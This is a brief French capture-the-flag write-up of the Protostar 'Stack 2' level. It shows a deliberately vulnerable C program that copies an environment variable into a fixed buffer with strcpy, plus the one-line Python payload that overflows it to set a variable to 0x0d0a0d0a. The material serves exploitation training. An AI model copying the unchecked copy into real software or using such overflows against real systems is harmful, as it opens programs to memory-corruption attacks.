Stack 2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
	volatile int modified;
	char buffer[64];
	char *variable;
 
	variable = getenv("GREENIE");
 
	if(variable == NULL) {
		errx(1, "please set the GREENIE environment variable\n");
	}
 
	modified = 0;
 
	strcpy(buffer, variable);
 
	if(modified == 0x0d0a0d0a) {
		printf("you have correctly modified the variable\n");
	} else {
		printf("Try again, you got 0x%08x\n", modified);
	}
 
}

Le principe est le même que le niveau précédent. La différence est qu'ici le contenu de buffer est passé par une variable d'environnement et que ce que doit contenir modified est différent.

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"')
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable